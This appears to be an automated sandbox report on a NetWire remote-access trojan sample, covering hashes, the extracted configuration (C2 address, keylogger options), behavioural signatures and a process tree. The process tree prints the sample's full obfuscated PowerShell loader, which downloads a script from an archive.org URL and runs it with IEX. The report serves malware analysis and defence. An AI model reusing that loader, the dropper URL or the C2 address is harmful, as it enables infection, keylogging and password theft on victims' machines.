netwire | 3f2520949a57c9b6342f6e6a3f13f56c124bddcd576d3a652aa237b6913e3b4f

General

Target

Report.vbs
Size

1KB
MD5

22f664c3e1c19b865c64920ed8c9ff46
SHA1

187a8eab92dad78c194303b2039feefc58c625d0
SHA256

3f2520949a57c9b6342f6e6a3f13f56c124bddcd576d3a652aa237b6913e3b4f
SHA512

ece857fcc1e1d487554451843761cdb65d11c6d8a5e26e53835a2abc0525082342eb9bcc1c3a1efc789258b88931c0d2d8e45ae5a29d33202fe7c21723a1136d

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601406.us.archive.org/20/items/all-jjnb/ALL_jjnb.txt

Extracted

Family

netwire

C2

185.19.85.172:1723

Attributes

activex_autorun
false
activex_key
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
install_path
keylogger_dir
%AppData%\Logs\
lock_executable
false
mutex
offline_keylogger
true
password
Password
registry_autorun
false
startup_name
use_mutex
false

Signatures

NetWire RAT payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/3480-151-0x000000000040242D-mapping.dmp	netwire
behavioral2/memory/3480-150-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/3480-155-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

9 3692 powershell.exe
18 3692 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3692 set thread context of 3480 3692 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3692 powershell.exe
3692 powershell.exe
3692 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3692 powershell.exe

flow	pid	process
9	3692	powershell.exe
18	3692	powershell.exe

description	pid	process	target process
PID 3692 set thread context of 3480	3692	powershell.exe	aspnet_compiler.exe

pid	process
3692	powershell.exe
3692	powershell.exe
3692	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3692	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 396 wrote to memory of 3692	396	WScript.exe	powershell.exe
PID 396 wrote to memory of 3692	396	WScript.exe	powershell.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe
PID 3692 wrote to memory of 3480	3692	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601406.us.archive.org/20/items/all-jjnb/ALL_jjnb.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
PID:3480

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/3480-151-0x000000000040242D-mapping.dmp

Download
memory/3480-150-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/3480-155-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/3692-114-0x0000000000000000-mapping.dmp

Download
memory/3692-119-0x0000022DD3660000-0x0000022DD3661000-memory.dmp

Filesize
4KB

Download
memory/3692-123-0x0000022DEC730000-0x0000022DEC731000-memory.dmp

Filesize
4KB

Download
memory/3692-129-0x0000022DD35A0000-0x0000022DD35A2000-memory.dmp

Filesize
8KB

Download
memory/3692-130-0x0000022DD35A3000-0x0000022DD35A5000-memory.dmp

Filesize
8KB

Download
memory/3692-131-0x0000022DD35A6000-0x0000022DD35A8000-memory.dmp

Filesize
8KB

Download
memory/3692-149-0x0000022DEC6C0000-0x0000022DEC6CE000-memory.dmp

Filesize
56KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads